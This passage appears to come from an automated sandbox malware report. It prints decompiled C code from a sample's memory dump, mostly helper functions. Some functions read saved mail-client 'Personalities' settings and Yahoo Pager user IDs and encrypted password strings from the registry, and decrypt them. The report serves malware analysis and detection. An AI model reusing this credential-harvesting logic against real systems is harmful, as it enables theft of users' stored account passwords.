                                                                                                                • Part of subcall function 0040684D: strlen.MSVCRT ref: 004068A6
                                                                                                                • Part of subcall function 0040684D: memcpy.MSVCRT ref: 004068BB
                                                                                                                • Part of subcall function 0040684D: strlen.MSVCRT ref: 004068C9
                                                                                                                • Part of subcall function 0040684D: memcpy.MSVCRT ref: 004068D9
                                                                                                                • Part of subcall function 00406680: GetSaveFileNameA.COMDLG32(?), ref: 004066CF
                                                                                                                • Part of subcall function 00406680: strcpy.MSVCRT(?,?), ref: 004066E6
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpystrlen$memsetstrcpy$FileLoadNameSaveStringsprintf
                                                                                                              • String ID: *.csv$*.htm;*.html$*.txt$*.xml$txt
                                                                                                              • API String ID: 4021364944-3614832568
                                                                                                              • Opcode ID: 47d6f0de7c66cadcf7d9a44beb2654d42ee3cfb16f185572a55cd809b74eca63
                                                                                                              • Instruction ID: 4d38638b85bcf07ffefc140bede2392a268d493de89ddae44be4c2da79bd640a
                                                                                                              • Opcode Fuzzy Hash: 47d6f0de7c66cadcf7d9a44beb2654d42ee3cfb16f185572a55cd809b74eca63
                                                                                                              • Instruction Fuzzy Hash: B62101B2D442589ECB01FF99D8857DDBBB4BB04304F10417BE619B7282D7381A45CB5A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406491 Relevance: 9.1, APIs: 6, Instructions: 57COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 72%
                                                                                                              			E00406491(void* __edx, struct HWND__* _a4) {
				int _v8;
				struct tagRECT _v24;
				int _t17;
				void* _t36;
				struct HDC__* _t38;

				_t36 = __edx;
				_t38 = GetDC(0);
				_t17 = GetDeviceCaps(_t38, 8);
				_v8 = GetDeviceCaps(_t38, 0xa);
				ReleaseDC(0, _t38);
				GetWindowRect(_a4,  &_v24);
				asm("cdq");
				asm("cdq");
				return MoveWindow(_a4, _v24.left - _v24.right + _t17 - 1 - _t36 >> 1, _v24.top - _v24.bottom + _v8 - 1 - _v8 >> 1, _v24.right - _v24.left + 1, _v24.bottom - _v24.top + 1, 1);
			}








                                                                                                              0x00406491
                                                                                                              0x004064a8
                                                                                                              0x004064ad
                                                                                                              0x004064b9
                                                                                                              0x004064bc
                                                                                                              0x004064c9
                                                                                                              0x004064e1
                                                                                                              0x004064f5
                                                                                                              0x00406511

                                                                                                              APIs
                                                                                                              • GetDC.USER32(00000000), ref: 0040649C
                                                                                                              • GetDeviceCaps.GDI32(00000000,00000008), ref: 004064AD
                                                                                                              • GetDeviceCaps.GDI32(00000000,0000000A), ref: 004064B4
                                                                                                              • ReleaseDC.USER32(00000000,00000000), ref: 004064BC
                                                                                                              • GetWindowRect.USER32 ref: 004064C9
                                                                                                              • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00406507
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CapsDeviceWindow$MoveRectRelease
                                                                                                              • String ID:
                                                                                                              • API String ID: 3197862061-0
                                                                                                              • Opcode ID: 69bb305ff33d1457d4484e576323a0ef66f31560397ccb35d966ff8f0e758d9b
                                                                                                              • Instruction ID: 542b186de9fc11de55873c3549d90df3c6ab5362d14aa96611489808ae4c73e2
                                                                                                              • Opcode Fuzzy Hash: 69bb305ff33d1457d4484e576323a0ef66f31560397ccb35d966ff8f0e758d9b
                                                                                                              • Instruction Fuzzy Hash: FC117C31A0011AAFDB009BB9CE4DEEFBFB8EB84711F014165E901E7250D6B0AD01CBA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00403A8D Relevance: 9.1, APIs: 6, Instructions: 56filestringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 95%
                                                                                                              			E00403A8D(void* __ecx, void* __eflags, void* _a4, char* _a8) {
				long _v8;
				void _v8199;
				char _v8200;
				void _v24582;
				short _v24584;

				E004118A0(0x6004, __ecx);
				_v24584 = 0;
				memset( &_v24582, 0, 0x3ffe);
				_v8200 = 0;
				memset( &_v8199, 0, 0x1fff);
				MultiByteToWideChar(0, 0, _a8, 0xffffffff,  &_v24584, 0x1fff);
				WideCharToMultiByte(0xfde9, 0,  &_v24584, 0xffffffff,  &_v8200, 0x1fff, 0, 0);
				return WriteFile(_a4,  &_v8200, strlen( &_v8200),  &_v8, 0);
			}








                                                                                                              0x00403a95
                                                                                                              0x00403aab
                                                                                                              0x00403ab2
                                                                                                              0x00403ac5
                                                                                                              0x00403acb
                                                                                                              0x00403ae2
                                                                                                              0x00403b01
                                                                                                              0x00403b2d

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00403AB2
                                                                                                              • memset.MSVCRT ref: 00403ACB
                                                                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00001FFF), ref: 00403AE2
                                                                                                              • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,?,00001FFF,00000000,00000000), ref: 00403B01
                                                                                                              • strlen.MSVCRT ref: 00403B13
                                                                                                              • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00403B24
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharMultiWidememset$FileWritestrlen
                                                                                                              • String ID:
                                                                                                              • API String ID: 1786725549-0
                                                                                                              • Opcode ID: f625be7e6fa724cc13b0b56902c1b33cd6369ef039f23dbe168f1e8392359ec1
                                                                                                              • Instruction ID: d8056d974a042835a8b53dd5956248081512f57f3cb7fafeec888b91cb2496ed
                                                                                                              • Opcode Fuzzy Hash: f625be7e6fa724cc13b0b56902c1b33cd6369ef039f23dbe168f1e8392359ec1
                                                                                                              • Instruction Fuzzy Hash: 6A1161B244012CBEFB009B94DD85DEB77ADEF08354F0041A6B70AD2091D6349F94CB78
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00406585 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 53stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 86%
                                                                                                              			E00406585(char* __edi, intOrPtr _a4, signed int _a8) {
				void _v259;
				char _v260;
				char* _t34;
				signed int _t35;
				void* _t36;
				void* _t37;

				_t34 = __edi;
				_v260 = 0;
				memset( &_v259, 0, 0xfe);
				_t37 = _t36 + 0xc;
				 *__edi = 0;
				_t35 = 0;
				do {
					_push( *(_t35 + _a4) & 0x000000ff);
					sprintf( &_v260, "%2.2X");
					_t37 = _t37 + 0xc;
					if(_t35 > 0) {
						strcat(_t34, " ");
					}
					if(_a8 > 0) {
						asm("cdq");
						if(_t35 % _a8 == 0) {
							strcat(_t34, "  ");
						}
					}
					strcat(_t34,  &_v260);
					_t35 = _t35 + 1;
				} while (_t35 < 0x80);
				return _t34;
			}









                                                                                                              0x00406585
                                                                                                              0x0040659d
                                                                                                              0x004065a4
                                                                                                              0x004065a9
                                                                                                              0x004065ac
                                                                                                              0x004065af
                                                                                                              0x004065b1
                                                                                                              0x004065b8
                                                                                                              0x004065c5
                                                                                                              0x004065ca
                                                                                                              0x004065cf
                                                                                                              0x004065d7
                                                                                                              0x004065dd
                                                                                                              0x004065e2
                                                                                                              0x004065e6
                                                                                                              0x004065ec
                                                                                                              0x004065f4
                                                                                                              0x004065fa
                                                                                                              0x004065ec
                                                                                                              0x00406603
                                                                                                              0x00406608
                                                                                                              0x00406610
                                                                                                              0x00406617

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcat$memsetsprintf
                                                                                                              • String ID: %2.2X
                                                                                                              • API String ID: 582077193-791839006
                                                                                                              • Opcode ID: f03ef531f1dceed6107a024529effe878a92871925f9b5c2fb8bf99f2bcc600c
                                                                                                              • Instruction ID: 9ba21b13147b7bc42f3eaeb5b708c7057566a78b4f06b3a82068ff28b5e275af
                                                                                                              • Opcode Fuzzy Hash: f03ef531f1dceed6107a024529effe878a92871925f9b5c2fb8bf99f2bcc600c
                                                                                                              • Instruction Fuzzy Hash: 54014C7294421476D7315725ED03BEA379C9B84704F10407FF986A61C5EABCDBD48798
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040FEED Relevance: 9.0, APIs: 6, Instructions: 46COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 77%
                                                                                                              			E0040FEED(intOrPtr* __edi) {
				void* __esi;
				signed int _t9;
				intOrPtr* _t16;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;

				_t16 = __edi;
				_t9 =  *(__edi + 0x1c);
				 *__edi = 0x414288;
				if(_t9 != 0) {
					_push(_t9);
					L004115D6();
					 *(__edi + 0x1c) =  *(__edi + 0x1c) & 0x00000000;
				}
				_t18 =  *((intOrPtr*)(_t16 + 0x460));
				if(_t18 != 0) {
					_t9 = E00406B5B(_t18);
					_push(_t18);
					L004115D6();
				}
				_t19 =  *((intOrPtr*)(_t16 + 0x45c));
				if(_t19 != 0) {
					_t9 = E00406B5B(_t19);
					_push(_t19);
					L004115D6();
				}
				_t20 =  *((intOrPtr*)(_t16 + 0x458));
				if(_t20 != 0) {
					_t9 = E00406B5B(_t20);
					_push(_t20);
					L004115D6();
				}
				_t21 =  *((intOrPtr*)(_t16 + 0x454));
				if(_t21 != 0) {
					_t9 = E00406A4E(_t21);
					_push(_t21);
					L004115D6();
				}
				_t22 =  *((intOrPtr*)(_t16 + 0x450));
				if(_t22 != 0) {
					_t9 = E00406A4E(_t22);
					_push(_t22);
					L004115D6();
				}
				return _t9;
			}











                                                                                                              0x0040feed
                                                                                                              0x0040feed
                                                                                                              0x0040fef2
                                                                                                              0x0040fef8
                                                                                                              0x0040fefa
                                                                                                              0x0040fefb
                                                                                                              0x0040ff00
                                                                                                              0x0040ff04
                                                                                                              0x0040ff06
                                                                                                              0x0040ff0e
                                                                                                              0x0040ff10
                                                                                                              0x0040ff15
                                                                                                              0x0040ff16
                                                                                                              0x0040ff1b
                                                                                                              0x0040ff1c
                                                                                                              0x0040ff24
                                                                                                              0x0040ff26
                                                                                                              0x0040ff2b
                                                                                                              0x0040ff2c
                                                                                                              0x0040ff31
                                                                                                              0x0040ff32
                                                                                                              0x0040ff3a
                                                                                                              0x0040ff3c
                                                                                                              0x0040ff41
                                                                                                              0x0040ff42
                                                                                                              0x0040ff47
                                                                                                              0x0040ff48
                                                                                                              0x0040ff50
                                                                                                              0x0040ff52
                                                                                                              0x0040ff57
                                                                                                              0x0040ff58
                                                                                                              0x0040ff5d
                                                                                                              0x0040ff5e
                                                                                                              0x0040ff66
                                                                                                              0x0040ff68
                                                                                                              0x0040ff6d
                                                                                                              0x0040ff6e
                                                                                                              0x0040ff73
                                                                                                              0x0040ff75

                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??3@
                                                                                                              • String ID:
                                                                                                              • API String ID: 613200358-0
                                                                                                              • Opcode ID: 99df7c7073850dc2e44a87667dbd999ce76af8101c497f1367d9519eb1e302a3
                                                                                                              • Instruction ID: b81094b12df4fb27198692459327ff2c1ceec6e662cd9000025ff3e54110b63d
                                                                                                              • Opcode Fuzzy Hash: 99df7c7073850dc2e44a87667dbd999ce76af8101c497f1367d9519eb1e302a3
                                                                                                              • Instruction Fuzzy Hash: B0015E72A029322AC5257B26680178AA3557F41B14B06013FFA0577B824F7C799246ED
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040173B Relevance: 9.0, APIs: 6, Instructions: 44COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 44%
                                                                                                              			E0040173B(void* __ebx) {
				struct tagRECT _v20;
				struct tagPAINTSTRUCT _v84;

				GetClientRect( *(__ebx + 0x10),  &_v20);
				_v20.left = _v20.right - GetSystemMetrics(0x15);
				_v20.top = _v20.bottom - GetSystemMetrics(0x14);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				DrawFrameControl(BeginPaint( *(__ebx + 0x10),  &_v84),  &_v20, 3, 8);
				return EndPaint( *(__ebx + 0x10),  &_v84);
			}





                                                                                                              0x0040174a
                                                                                                              0x00401761
                                                                                                              0x0040176b
                                                                                                              0x00401773
                                                                                                              0x00401774
                                                                                                              0x00401778
                                                                                                              0x0040177d
                                                                                                              0x0040178d
                                                                                                              0x004017a3

                                                                                                              APIs
                                                                                                              • GetClientRect.USER32 ref: 0040174A
                                                                                                              • GetSystemMetrics.USER32 ref: 00401758
                                                                                                              • GetSystemMetrics.USER32 ref: 00401764
                                                                                                              • BeginPaint.USER32(?,?), ref: 0040177E
                                                                                                              • DrawFrameControl.USER32(00000000,?,00000003,00000008), ref: 0040178D
                                                                                                              • EndPaint.USER32(?,?), ref: 0040179A
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: MetricsPaintSystem$BeginClientControlDrawFrameRect
                                                                                                              • String ID:
                                                                                                              • API String ID: 19018683-0
                                                                                                              • Opcode ID: 42458483af95651e2167a539795fde663e6d8f5d0ac71463485711cad55c201f
                                                                                                              • Instruction ID: a11a87b208587c0640a8feba78a21dda7633aea5bad1576310b301da0c27fea9
                                                                                                              • Opcode Fuzzy Hash: 42458483af95651e2167a539795fde663e6d8f5d0ac71463485711cad55c201f
                                                                                                              • Instruction Fuzzy Hash: B6014B72900218FFDF08DFA8DD489FE7BB9FB44301F004469EE11EA194DAB1AA14CB64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00411366 Relevance: 8.9, APIs: 7, Instructions: 147stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 96%
                                                                                                              			E00411366(signed int __edx, void* _a4, intOrPtr _a8, signed int* _a12, intOrPtr* _a16) {
				signed int _v8;
				char _v16;
				char _v24;
				char _v116;
				void _v1156;
				char _v1164;
				void _v1171;
				char _v1172;
				char _v2188;
				void _v2195;
				void _v2196;
				void _v3251;
				void _v3252;
				char _v4020;
				void* __edi;
				void* __esi;
				void* _t96;
				char _t105;
				intOrPtr _t112;
				void* _t115;
				signed int _t116;
				int _t121;
				signed int* _t122;
				void* _t124;
				void* _t125;
				signed int _t128;
				signed int* _t129;
				void* _t132;

				_t116 = __edx;
				_t105 = 0;
				_v2196 = 0;
				memset( &_v2195, 0, 0x3ff);
				_v3252 = 0;
				memset( &_v3251, 0, 0x41e);
				_v1172 = 0;
				memset( &_v1171, 0, 0x41e);
				_a8 = E00410E8A(_a8,  &_v2196);
				_t121 = strlen(_a4);
				if(_a8 > 8) {
					_t137 = _t121;
					if(_t121 > 0) {
						memcpy( &_v3252, _a4, _t121);
						memcpy(_t132 + _t121 - 0xcb0,  &_v2196, 8);
						E0040BC49( &_v116);
						_t19 = _t121 + 8; // 0x8
						E0040BC6D(_t19,  &_v116,  &_v3252);
						_t127 =  &_v116;
						E0040BD0B(_t121,  &_v116,  &_v1172);
						_t23 = _t121 + 8; // 0x8
						memcpy( &_v1156,  &_v3252, _t23);
						E0040BC49( &_v116);
						_t27 = _t121 + 0x18; // 0x18
						E0040BC6D(_t27, _t127,  &_v1172);
						E0040BD0B(_t121, _t127,  &_v24);
						E0040535A( &_v4020, _t137,  &_v1164,  &_v24);
						_t122 = _a12;
						E004053D6( &_v16,  &_v1172, _t122,  &_v4020);
						_t112 = _a8;
						_t128 = 0;
						if(_t112 >= 0x18) {
							_t37 = _t112 - 0x18; // -16
							asm("cdq");
							_t128 = (_t37 + (_t116 & 0x00000007) >> 3) + 1;
						}
						if(_t128 > _t105) {
							_a4 =  &_v2188;
							_t125 = _t122 + 8;
							_v8 = _t128;
							do {
								E004053D6(_a4, _t112, _t125,  &_v4020);
								_a4 = _a4 + 8;
								_t125 = _t125 + 8;
								_t45 =  &_v8;
								 *_t45 = _v8 - 1;
								_pop(_t112);
							} while ( *_t45 != 0);
							_t112 = _a8;
						}
						_t96 = 8 + _t128 * 8;
						_t50 = _t96 + 8; // 0x8
						if(_t50 > _t112) {
							_t51 = _t112 - 8; // 0x0
							_t96 = _t51;
						}
						if(_t96 > _t105) {
							_t129 = _a12;
							_t124 =  &_v2188 - _t129;
							_t115 = _t96;
							do {
								 *_t129 =  *_t129 ^  *(_t124 + _t129);
								_t129 =  &(_t129[0]);
								_t115 = _t115 - 1;
							} while (_t115 != 0);
						}
						 *((char*)(_t96 + _a12)) = _t105;
						 *_a16 = 1;
						_t105 = 1;
					}
				}
				return _t105;
			}































                                                                                                              0x00411366
                                                                                                              0x00411372
                                                                                                              0x00411381
                                                                                                              0x00411387
                                                                                                              0x0041139a
                                                                                                              0x004113a0
                                                                                                              0x004113ae
                                                                                                              0x004113b4
                                                                                                              0x004113cd
                                                                                                              0x004113da
                                                                                                              0x004113dc
                                                                                                              0x004113e2
                                                                                                              0x004113e4
                                                                                                              0x004113f5
                                                                                                              0x0041140b
                                                                                                              0x00411413
                                                                                                              0x0041141f
                                                                                                              0x00411425
                                                                                                              0x00411431
                                                                                                              0x00411434
                                                                                                              0x00411439
                                                                                                              0x0041144b
                                                                                                              0x00411452
                                                                                                              0x0041145e
                                                                                                              0x00411463
                                                                                                              0x0041146c
                                                                                                              0x00411488
                                                                                                              0x0041148d
                                                                                                              0x0041149a
                                                                                                              0x0041149f
                                                                                                              0x004114a5
                                                                                                              0x004114aa
                                                                                                              0x004114ac
                                                                                                              0x004114af
                                                                                                              0x004114ba
                                                                                                              0x004114ba
                                                                                                              0x004114bd
                                                                                                              0x004114c5
                                                                                                              0x004114c8
                                                                                                              0x004114cb
                                                                                                              0x004114ce
                                                                                                              0x004114d8
                                                                                                              0x004114dd
                                                                                                              0x004114e1
                                                                                                              0x004114e4
                                                                                                              0x004114e4
                                                                                                              0x004114e7
                                                                                                              0x004114e7
                                                                                                              0x004114ea
                                                                                                              0x004114ea
                                                                                                              0x004114ed
                                                                                                              0x004114f4
                                                                                                              0x004114f9
                                                                                                              0x004114fb
                                                                                                              0x004114fb
                                                                                                              0x004114fb
                                                                                                              0x00411500
                                                                                                              0x00411502
                                                                                                              0x0041150b
                                                                                                              0x0041150d
                                                                                                              0x0041150f
                                                                                                              0x00411512
                                                                                                              0x00411514
                                                                                                              0x00411515
                                                                                                              0x00411515
                                                                                                              0x0041150f
                                                                                                              0x0041151b
                                                                                                              0x00411524
                                                                                                              0x00411526
                                                                                                              0x00411526
                                                                                                              0x004113e4
                                                                                                              0x0041152e

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00411387
                                                                                                              • memset.MSVCRT ref: 004113A0
                                                                                                              • memset.MSVCRT ref: 004113B4
                                                                                                                • Part of subcall function 00410E8A: strlen.MSVCRT ref: 00410E97
                                                                                                              • strlen.MSVCRT ref: 004113D0
                                                                                                              • memcpy.MSVCRT ref: 004113F5
                                                                                                              • memcpy.MSVCRT ref: 0041140B
                                                                                                                • Part of subcall function 0040BC6D: memcpy.MSVCRT ref: 0040BCFE
                                                                                                                • Part of subcall function 0040BD0B: memset.MSVCRT ref: 0040BD2A
                                                                                                                • Part of subcall function 0040BD0B: memset.MSVCRT ref: 0040BD40
                                                                                                                • Part of subcall function 0040BD0B: memcpy.MSVCRT ref: 0040BD77
                                                                                                                • Part of subcall function 0040BD0B: memset.MSVCRT ref: 0040BD81
                                                                                                              • memcpy.MSVCRT ref: 0041144B
                                                                                                                • Part of subcall function 0040BC6D: memcpy.MSVCRT ref: 0040BCB0
                                                                                                                • Part of subcall function 0040BC6D: memcpy.MSVCRT ref: 0040BCDA
                                                                                                                • Part of subcall function 0040BD0B: memset.MSVCRT ref: 0040BD52
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpymemset$strlen
                                                                                                              • String ID:
                                                                                                              • API String ID: 2142929671-0
                                                                                                              • Opcode ID: 0caf23c9b80619e2a6bbbc2ceb5d7559ea51fa806e827c69c16e75f74dc5ea3d
                                                                                                              • Instruction ID: c39f5f8930626063bf72b6da9320efac153577eb3bd573588316f9f93fa8d4dc
                                                                                                              • Opcode Fuzzy Hash: 0caf23c9b80619e2a6bbbc2ceb5d7559ea51fa806e827c69c16e75f74dc5ea3d
                                                                                                              • Instruction Fuzzy Hash: C4515C7290011DABCB10EF55CC819EEB7A9BF44308F5445BAE609A7151EB34AB898F94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040329E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040329E(void* __fp0, intOrPtr _a4) {
				int _v8;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				void _v1035;
				char _v1036;
				char _v1968;
				char _v2900;
				void* __esi;
				void* _t23;
				int _t30;
				char* _t31;
				CHAR* _t49;
				void* _t50;
				void* _t55;

				_t62 = __fp0;
				_t49 = _a4 + 0xd2a;
				if( *_t49 != 0) {
					_t52 =  &_v1968;
					E004021D8( &_v1968);
					if(E0040314D(_t52, _t49, 0) != 0) {
						E00402407(_t52, __fp0, _a4);
					}
					_v1036 = 0;
					memset( &_v1035, 0, 0x400);
					_t30 = GetPrivateProfileSectionA("Personalities",  &_v1036, 0x3fe, _t49);
					if(_t30 <= 0) {
						L11:
						return _t30;
					} else {
						_v12 = 0;
						_v13 = 0;
						_v14 = 0;
						_v15 = 0;
						_t50 = 0;
						_t31 =  &_v1036;
						while(1) {
							_t30 = strlen(_t31);
							_v8 = _t30;
							if(_t30 <= 0) {
								goto L11;
							}
							_t54 =  &_v2900;
							E004021D8( &_v2900);
							if(strchr(_t55 + _t50 - 0x408, 0x3d) != 0 && E0040314D(_t54, _a4 + 0xd2a, _t34 + 1) != 0) {
								E00402407(_t54, _t62, _a4);
							}
							_t30 = _v8;
							_t50 = _t50 + _t30 + 1;
							if(_t50 >= 0x3ff) {
								goto L11;
							} else {
								_t31 = _t55 + _t50 - 0x408;
								continue;
							}
						}
						goto L11;
					}
				}
				return _t23;
			}



















                                                                                                              0x0040329e
                                                                                                              0x004032ac
                                                                                                              0x004032b6
                                                                                                              0x004032bd
                                                                                                              0x004032c3
                                                                                                              0x004032d3
                                                                                                              0x004032da
                                                                                                              0x004032da
                                                                                                              0x004032ec
                                                                                                              0x004032f2
                                                                                                              0x0040330c
                                                                                                              0x00403314
                                                                                                              0x00403390
                                                                                                              0x00000000
                                                                                                              0x00403316
                                                                                                              0x00403316
                                                                                                              0x00403319
                                                                                                              0x0040331c
                                                                                                              0x0040331f
                                                                                                              0x00403322
                                                                                                              0x00403324
                                                                                                              0x00403382
                                                                                                              0x00403383
                                                                                                              0x0040338a
                                                                                                              0x0040338e
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040332c
                                                                                                              0x00403332
                                                                                                              0x0040334a
                                                                                                              0x00403367
                                                                                                              0x00403367
                                                                                                              0x0040336c
                                                                                                              0x0040336f
                                                                                                              0x00403379
                                                                                                              0x00000000
                                                                                                              0x0040337b
                                                                                                              0x0040337b
                                                                                                              0x00000000
                                                                                                              0x0040337b
                                                                                                              0x00403379
                                                                                                              0x00000000
                                                                                                              0x00403382
                                                                                                              0x00403314
                                                                                                              0x00403394

                                                                                                              APIs
                                                                                                                • Part of subcall function 0040314D: strchr.MSVCRT ref: 00403262
                                                                                                              • memset.MSVCRT ref: 004032F2
                                                                                                              • GetPrivateProfileSectionA.KERNEL32 ref: 0040330C
                                                                                                              • strchr.MSVCRT ref: 00403341
                                                                                                                • Part of subcall function 00402407: _mbsicmp.MSVCRT ref: 0040243F
                                                                                                              • strlen.MSVCRT ref: 00403383
                                                                                                                • Part of subcall function 00402407: _mbscmp.MSVCRT ref: 0040241B
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strchr$PrivateProfileSection_mbscmp_mbsicmpmemsetstrlen
                                                                                                              • String ID: Personalities
                                                                                                              • API String ID: 2103853322-4287407858
                                                                                                              • Opcode ID: e3fa63d939a05486987fea06324786367eab17663f8cebe7d255cc1b6eb769cc
                                                                                                              • Instruction ID: ece583472a64ba9cf1aca627ef0740b0f3020b1d2d3fce26046d940835a048de
                                                                                                              • Opcode Fuzzy Hash: e3fa63d939a05486987fea06324786367eab17663f8cebe7d255cc1b6eb769cc
                                                                                                              • Instruction Fuzzy Hash: 8C21BA72A00108AADB119F69DD81ADE7F6C9F50349F0040BBEA45F3181DA38EF86866D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00410F79 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 51registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E00410F79(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				void _v1031;
				char _v1032;
				void* __esi;
				void* _t25;
				int _t26;

				_t25 = __ecx;
				_t26 = 0;
				_v1032 = 0;
				memset( &_v1031, 0, 0x3ff);
				if(E0040EB3F(0x80000001, "Software\\Yahoo\\Pager",  &_v8) == 0) {
					if(E0040EB80(0x3ff, _t25, _v8, "Yahoo! User ID", _a4) == 0 && E0040EB80(0x3ff, _t25, _v8, "EOptions string",  &_v1032) == 0) {
						_t26 = E004112A1(_t25, _a8, _a4,  &_v1032);
					}
					RegCloseKey(_v8);
				}
				return _t26;
			}









                                                                                                              0x00410f79
                                                                                                              0x00410f8a
                                                                                                              0x00410f94
                                                                                                              0x00410f9b
                                                                                                              0x00410fb8
                                                                                                              0x00410fd1
                                                                                                              0x00411002
                                                                                                              0x00411002
                                                                                                              0x00411007
                                                                                                              0x00411007
                                                                                                              0x00411012

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 00410F9B
                                                                                                                • Part of subcall function 0040EB3F: RegOpenKeyExA.KERNEL32(80000002,80000002,00000000,00020019,80000002), ref: 0040EB52
                                                                                                                • Part of subcall function 0040EB80: RegQueryValueExA.KERNEL32 ref: 0040EB9B
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 00411007
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
